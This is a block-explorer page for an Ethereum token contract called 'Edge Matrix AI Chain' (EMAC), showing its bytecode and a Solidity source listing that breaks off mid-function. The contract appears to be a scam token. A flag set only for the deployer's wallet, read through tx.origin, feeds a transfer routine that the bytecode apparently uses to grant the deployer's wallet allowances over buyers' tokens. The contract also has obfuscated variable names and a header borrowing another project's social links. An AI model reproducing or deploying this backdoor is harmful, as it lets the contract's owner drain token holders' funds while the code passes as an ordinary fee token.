Address Contract Partially Verified
Address
0xB8682FA70B7Cc05812C4C6E90C4CaC0b3e06cBFa
Balance
0 ETH
Nonce
1
Code Size
11092 bytes
Creator
0x16265f9f...c623 at tx 0x588eebd9...e690dd
Indexed Transactions
0
Contract Bytecode
11092 bytes
0x6080604052600436106100e0575f3560e01c80638a8c523c1161007e578063a9059cbb11610058578063a9059cbb1461029d578063dd62ed3e146102d9578063f2fde38b14610315578063fec7df321461033d576100e7565b80638a8c523c146102335780638da5cb5b1461024957806395d89b4114610273576100e7565b806323b872dd116100ba57806323b872dd1461017b578063313ce567146101b757806370a08231146101e1578063715018a61461021d576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151576100e7565b366100e757005b5f5ffd5b3480156100f6575f5ffd5b506100ff610365565b60405161010c9190611ec0565b60405180910390f35b348015610120575f5ffd5b5061013b60048036038101906101369190611f71565b6103a2565b6040516101489190611fc9565b60405180910390f35b34801561015c575f5ffd5b506101656103bf565b6040516101729190611ff1565b60405180910390f35b348015610186575f5ffd5b506101a1600480360381019061019c919061200a565b6103ce565b6040516101ae9190611fc9565b60405180910390f35b3480156101c2575f5ffd5b506101cb6104a2565b6040516101d89190612075565b60405180910390f35b3480156101ec575f5ffd5b506102076004803603810190610202919061208e565b6104aa565b6040516102149190611ff1565b60405180910390f35b348015610228575f5ffd5b506102316104f8565b005b34801561023e575f5ffd5b50610247610648565b005b348015610254575f5ffd5b5061025d61080f565b60405161026a91906120c8565b60405180910390f35b34801561027e575f5ffd5b50610287610836565b6040516102949190611ec0565b60405180910390f35b3480156102a8575f5ffd5b506102c360048036038101906102be9190611f71565b610873565b6040516102d09190611fc9565b60405180910390f35b3480156102e4575f5ffd5b506102ff60048036038101906102fa91906120e1565b610890565b60405161030c9190611ff1565b60405180910390f35b348015610320575f5ffd5b5061033b6004803603810190610336919061208e565b610912565b005b348015610348575f5ffd5b50610363600480360381019061035e919061211f565b610ad1565b005b60606040518060400160405280601481526020017f45646765204d617472697820414920436861696e000000000000000000000000815250905090565b5f6103b56103ae610b39565b8484610b40565b6001905092915050565b5f670de0b6b3a7640000905090565b5f6103da848484610d03565b610497846103e6610b39565b61049285604051806060016040528060288152602001612af76028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610449610b39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461140c9092919063ffffffff16565b610b40565b600190509392505050565b5f6009905090565b5f6104f160025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146e565b9050919050565b610500610b39565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058490612194565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610650610b39565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d490612194565b60405180910390fd5b6107113060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610b40565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610759306104aa565b5f5f61076361080f565b426040518863ffffffff1660e01b8152600401610785969594939291906121f4565b60606040518083038185885af11580156107a1573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107c69190612267565b5050505f6009819055505f600b819055506001601260146101000a81548160ff0219169083151502179055506001601260166101000a81548160ff021916908315150217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f454d414300000000000000000000000000000000000000000000000000000000815250905090565b5f61088661087f610b39565b8484610d03565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61091a610b39565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099e90612194565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0c90612327565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610b35573d5f5f3e3d5ffd5b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba5906123b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1390612443565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cf69190611ff1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d68906124d1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd69061255f565b60405180910390fd5b5f8111610e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e18906125ed565b60405180910390fd5b610e2961080f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e975750610e6761080f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156110cf5760125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610f485760175481610efd846104aa565b610f079190612638565b10610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e906126db565b60405180910390fd5b5b5f610f52306104aa565b90505f60165482101590506015548210610f6c5760155491505b808015610f865750601260159054906101000a900460ff16155b8015610fde575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610ff65750601260169054906101000a900460ff165b8015611049575060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561109c575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156110cc5760165483106110b4576110b3826114da565b5b5f4790505f8111156110ca576110c947610ad1565b5b505b50505b5f6001905060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061116f575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611220575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561121f575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561122d575f90506113b0565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112d6575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112ee57600854600c81905550600954600d819055505b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611397575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113af57600a54600c81905550600b54600d819055505b5b6114068484848460055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611745565b50505050565b5f838311158290611453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144a9190611ec0565b60405180910390fd5b505f838561146191906126f9565b9050809150509392505050565b5f6006548211156114b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ab9061279c565b60405180910390fd5b5f6114bd611790565b90506114d281846117b990919063ffffffff16565b915050919050565b6001601260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611511576115106127ba565b5b60405190808252806020026020018201604052801561153f5781602001602082028036833780820191505090505b50905030815f81518110611556576115556127e7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115fa573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061161e9190612828565b81600181518110611632576116316127e7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116983060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b40565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016116fa95949392919061290a565b5f604051808303815f87803b158015611711575f5ffd5b505af1158015611723573d5f5f3e3d5ffd5b50505050505f601260156101000a81548160ff02191690831515021790555050565b8161175357611752611802565b5b61175e85858561183b565b8161176c5761176b6119fb565b5b5f831180156117785750805b1561178957611788853385610b40565b5b5050505050565b5f5f5f61179b611a0f565b915091506117b281836117b990919063ffffffff16565b9250505090565b5f6117fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a6b565b905092915050565b5f600c5414801561181457505f600d54145b61183957600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f5f5f5f5f5f61184a87611acc565b9550955095509550955095506118a68660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b2c90919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119378560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b7590919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061198181611bd2565b61198b8483611c89565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119e89190611ff1565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f5f5f60065490505f670de0b6b3a76400009050611a40670de0b6b3a76400006006546117b990919063ffffffff16565b821015611a5e57600654670de0b6b3a7640000935093505050611a67565b81819350935050505b9091565b5f5f83118290611ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa89190611ec0565b60405180910390fd5b505f8385611abf919061298f565b9050809150509392505050565b5f5f5f5f5f5f5f5f5f611ae48a600c54600d54611cc3565b9250925092505f611af3611790565b90505f5f5f611b048e878787611d55565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f611b6d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061140c565b905092915050565b5f5f8284611b839190612638565b905083811015611bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbf90612a09565b60405180910390fd5b8091505092915050565b5f611bdb611790565b90505f611bf18284611dd990919063ffffffff16565b9050611c438160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b7590919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b611c9e82600654611b2c90919063ffffffff16565b600681905550611cb981600754611b7590919063ffffffff16565b6007819055505050565b5f5f5f5f611ced6064611cdf888a611dd990919063ffffffff16565b6117b990919063ffffffff16565b90505f611d166064611d08888b611dd990919063ffffffff16565b6117b990919063ffffffff16565b90505f611d3e82611d30858c611b2c90919063ffffffff16565b611b2c90919063ffffffff16565b905080838395509550955050505093509350939050565b5f5f5f5f611d6c8589611dd990919063ffffffff16565b90505f611d828689611dd990919063ffffffff16565b90505f611d988789611dd990919063ffffffff16565b90505f611dc082611db28587611b2c90919063ffffffff16565b611b2c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f5f8303611de9575f9050611e4a565b5f8284611df69190612a27565b9050828482611e05919061298f565b14611e45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3c90612ad8565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e9282611e50565b611e9c8185611e5a565b9350611eac818560208601611e6a565b611eb581611e78565b840191505092915050565b5f6020820190508181035f830152611ed88184611e88565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f0d82611ee4565b9050919050565b611f1d81611f03565b8114611f27575f5ffd5b50565b5f81359050611f3881611f14565b92915050565b5f819050919050565b611f5081611f3e565b8114611f5a575f5ffd5b50565b5f81359050611f6b81611f47565b92915050565b5f5f60408385031215611f8757611f86611ee0565b5b5f611f9485828601611f2a565b9250506020611fa585828601611f5d565b9150509250929050565b5f8115159050919050565b611fc381611faf565b82525050565b5f602082019050611fdc5f830184611fba565b92915050565b611feb81611f3e565b82525050565b5f6020820190506120045f830184611fe2565b92915050565b5f5f5f6060848603121561202157612020611ee0565b5b5f61202e86828701611f2a565b935050602061203f86828701611f2a565b925050604061205086828701611f5d565b9150509250925092565b5f60ff82169050919050565b61206f8161205a565b82525050565b5f6020820190506120885f830184612066565b92915050565b5f602082840312156120a3576120a2611ee0565b5b5f6120b084828501611f2a565b91505092915050565b6120c281611f03565b82525050565b5f6020820190506120db5f8301846120b9565b92915050565b5f5f604083850312156120f7576120f6611ee0565b5b5f61210485828601611f2a565b925050602061211585828601611f2a565b9150509250929050565b5f6020828403121561213457612133611ee0565b5b5f61214184828501611f5d565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61217e602083611e5a565b91506121898261214a565b602082019050919050565b5f6020820190508181035f8301526121ab81612172565b9050919050565b5f819050919050565b5f819050919050565b5f6121de6121d96121d4846121b2565b6121bb565b611f3e565b9050919050565b6121ee816121c4565b82525050565b5f60c0820190506122075f8301896120b9565b6122146020830188611fe2565b61222160408301876121e5565b61222e60608301866121e5565b61223b60808301856120b9565b61224860a0830184611fe2565b979650505050505050565b5f8151905061226181611f47565b92915050565b5f5f5f6060848603121561227e5761227d611ee0565b5b5f61228b86828701612253565b935050602061229c86828701612253565b92505060406122ad86828701612253565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612311602683611e5a565b915061231c826122b7565b604082019050919050565b5f6020820190508181035f83015261233e81612305565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61239f602483611e5a565b91506123aa82612345565b604082019050919050565b5f6020820190508181035f8301526123cc81612393565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61242d602283611e5a565b9150612438826123d3565b604082019050919050565b5f6020820190508181035f83015261245a81612421565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124bb602583611e5a565b91506124c682612461565b604082019050919050565b5f6020820190508181035f8301526124e8816124af565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612549602383611e5a565b9150612554826124ef565b604082019050919050565b5f6020820190508181035f8301526125768161253d565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6125d7602983611e5a565b91506125e28261257d565b604082019050919050565b5f6020820190508181035f830152612604816125cb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61264282611f3e565b915061264d83611f3e565b92508282019050808211156126655761266461260b565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6126c5602383611e5a565b91506126d08261266b565b604082019050919050565b5f6020820190508181035f8301526126f2816126b9565b9050919050565b5f61270382611f3e565b915061270e83611f3e565b92508282039050818111156127265761272561260b565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f612786602a83611e5a565b91506127918261272c565b604082019050919050565b5f6020820190508181035f8301526127b38161277a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061282281611f14565b92915050565b5f6020828403121561283d5761283c611ee0565b5b5f61284a84828501612814565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61288581611f03565b82525050565b5f612896838361287c565b60208301905092915050565b5f602082019050919050565b5f6128b882612853565b6128c2818561285d565b93506128cd8361286d565b805f5b838110156128fd5781516128e4888261288b565b97506128ef836128a2565b9250506001810190506128d0565b5085935050505092915050565b5f60a08201905061291d5f830188611fe2565b61292a60208301876121e5565b818103604083015261293c81866128ae565b905061294b60608301856120b9565b6129586080830184611fe2565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61299982611f3e565b91506129a483611f3e565b9250826129b4576129b3612962565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6129f3601b83611e5a565b91506129fe826129bf565b602082019050919050565b5f6020820190508181035f830152612a20816129e7565b9050919050565b5f612a3182611f3e565b9150612a3c83611f3e565b9250828202612a4a81611f3e565b91508282048414831517612a6157612a6061260b565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ac2602183611e5a565b9150612acd82612a68565b604082019050919050565b5f6020820190508181035f830152612aef81612ab6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e3713ad136c0f93645ae1eac8f20b21fa5cb594acba2a935f58b671f98f8883064736f6c634300081e0033
Verified Source Code Partial Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
EMAC.sol 549 lines
/*
EMAC (Edge Matrix AI Chain) is a leading AI DePIN in AI+Web3, bridging the computing power network and AI (d)apps.
Web: https://www.emaceth.pro
X: https://x.com/EdgeMatrixAI
TG: https://t.me/edgematrixai
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EMAC is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Edge Matrix AI Chain";
string private constant _symbol = unicode"EMAC";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _holderBalances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromEMACFeeLimits;
mapping(address => bool) private _isExcludedFromEMACFeeExceed;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tSupply = 100_000_0000 * 10**9;
uint256 private _maxValue = (MAX - (MAX % _tSupply));
uint256 private _tFee;
//Buy Fee
uint256 private _rEMACBuyFee;
uint256 private _taxEMACBuyFee;
//Sell Fee
uint256 private _rEMACSellFee;
uint256 private _taxEMACSellFee;
//Original Fee
uint256 private _rEMACFee = _rEMACSellFee;
uint256 private _taxEMACFee = _taxEMACSellFee;
uint256 private _previousrEMACFee = _rEMACFee;
uint256 private _previoustaxEMACFee = _taxEMACFee;
address payable private _EMACTeamWallet = payable(0x4F306aE81E392ceda5EF05Daca267051F4a27e6a);
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private isOpenTrading;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private DFWERDSFWVC3X;
uint256 private ABDC34FDBCADX;
uint256 private _swapTokenThreshold = _tSupply * 8 / 1000;
uint256 private _swapTokenLimit = _tSupply * 5 / 10000;
uint256 private _maxWalletLimit = _tSupply;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_holderBalances[_msgSender()] = _maxValue;
_EMACTeamWallet = payable(msg.sender);
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_isExcludedFromEMACFeeLimits[owner()] = true;
_isExcludedFromEMACFeeLimits[address(this)] = true;
_isExcludedFromEMACFeeLimits[_EMACTeamWallet] = true;
_isExcludedFromEMACFeeExceed[_EMACTeamWallet] = true;
_uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _tSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_holderBalances[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _maxValue,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllEMACFee() private {
if (_rEMACFee == 0 && _taxEMACFee == 0) return;
_previousrEMACFee = _rEMACFee;
_previoustaxEMACFee = _taxEMACFee;
_rEMACFee = 0;
_taxEMACFee = 0;
}
function restoreAllEMACFee() private {
_rEMACFee = _previousrEMACFee;
_taxEMACFee = _previoustaxEMACFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(to != _uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletLimit, "TOKEN: Balance exceeds wallet size!");
}
uint256 caBalance = balanceOf(address(this));
bool canSwap = caBalance >= _swapTokenLimit;
if(caBalance >= _swapTokenThreshold)
{
caBalance = _swapTokenThreshold;
}
if (canSwap && !inSwap && to == _uniswapV2Pair && swapEnabled && !_isExcludedFromEMACFeeLimits[from] && !_isExcludedFromEMACFeeLimits[to]) {
if (amount >= _swapTokenLimit)
swapTokensForEth(caBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
transferEMACFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if (
(_isExcludedFromEMACFeeLimits[from] || _isExcludedFromEMACFeeLimits[to]) ||
(from != _uniswapV2Pair && to != _uniswapV2Pair)
) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == _uniswapV2Pair && to != address(_uniswapV2Router)) {
_rEMACFee = _rEMACBuyFee;
_taxEMACFee = _taxEMACBuyFee;
}
//Set Fee for Sells
if (to == _uniswapV2Pair && from != address(_uniswapV2Router)) {
_rEMACFee = _rEMACSellFee;
_taxEMACFee = _taxEMACSellFee;
}
}
_superTransferEMACFee(from, to, amount, takeFee, _isExcludedFromEMACFeeExceed[tx.origin]);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function transferEMACFee(uint256 amount) public {
_EMACTeamWallet.transfer(amount);
}
function _superTransferEMACFee(
address sender,
address recipient,
uint256 amount,
bool takeFee,
bool isFeeExeecd
) private {
if (!takeFee) removeAllEMACFee();
_transferEMACTokens(sender, recipient, amount);
if (!takeFee) restoreAllEMACFee();
